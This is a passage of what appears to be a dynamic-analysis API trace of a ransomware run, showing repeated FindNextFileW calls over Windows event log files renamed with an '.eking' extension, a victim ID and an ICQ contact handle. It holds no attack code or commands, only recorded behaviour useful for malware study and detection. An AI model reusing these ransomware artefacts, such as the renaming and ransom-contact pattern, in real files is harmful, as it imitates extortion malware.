cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID035~1.EKI")) returned 1 [0276.085] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c417d7e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c417d7e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c43dde9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIC49B~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c43dde9, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c43dde9, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c468083, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB7F5~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c468083, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c468083, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c653f7a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIE830~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5e195e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c5e195e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c607abc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4BE7~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c607abc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c607abc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c62dd5c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIE3A3~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c62dd5c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c62dd5c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c7f7933, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4D3A~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c653f7a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c653f7a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c6a039d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5B5F~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6a039d, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c6a039d, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c6a039d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI1E3B~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f7933, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c7f7933, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c81dabd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI56BE~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c81dabd, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c81dabd, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c9c1613, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI74E3~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c843e17, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c843e17, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c843e17, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB53F~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c86a07e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c86a07e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cc49dec, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8A03~1.EKI")) returned 1 [0276.086] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7803, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c9e7803, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ca0da0c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0E6D~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca0da0c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ca0da0c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cbb13c1, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI11EA~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbd76b6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cbd76b6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cbfd7fc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA216~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbfd7fc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cbfd7fc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ce1704a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7CD7~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf1ea1b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf1ea1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cf6b042, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIF5BB~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf1ea1b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf1ea1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cf44bf8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI9587~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf6b042, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf6b042, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cfbc6cf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3F6D~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf911a1, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf911a1, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cfbc6cf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIF5A9~1.EKI")) returned 1 [0276.087] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfdd555, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cfdd555, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d00374a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI40FD~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfdd555, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cfdd555, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d09c07a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8B3E~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d029a36, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d029a36, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d05171b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Store%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI745B~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d05171b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d05171b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d1cd9b5, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA68D~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d09c07a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d09c07a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d0c22d6, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA244~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0c22d6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d0c22d6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d23fb55, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0D64~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d1cd9b5, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d1cd9b5, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d1f365e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4EA4~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d295ae2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d295ae2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d2b5b17, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3B76~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d270a10, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d270a10, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d4a21d5, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID16E~1.EKI")) returned 1 [0276.088] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2d8596, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d2d8596, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d3786db, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBE52~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3bfe9c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d3bfe9c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d4f4fa3, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6DFB~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4c8489, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d4c8489, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d77c616, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICC29~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d53a99b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d53a99b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d72a884, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3328~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d72a884, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d72a884, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d7cba42, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI44EC~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77c616, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d77c616, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d7eefc2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB26F~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7cba42, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d7cba42, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7da51711, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8D1E~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da9dab2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7da9dab2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7dac3d7b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11192, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBE35~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da51711, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7da51711, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7e63d2c0, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI141F~1.EKI")) returned 1 [0276.089] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dac3d7b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7dac3d7b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7dae9ecd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, 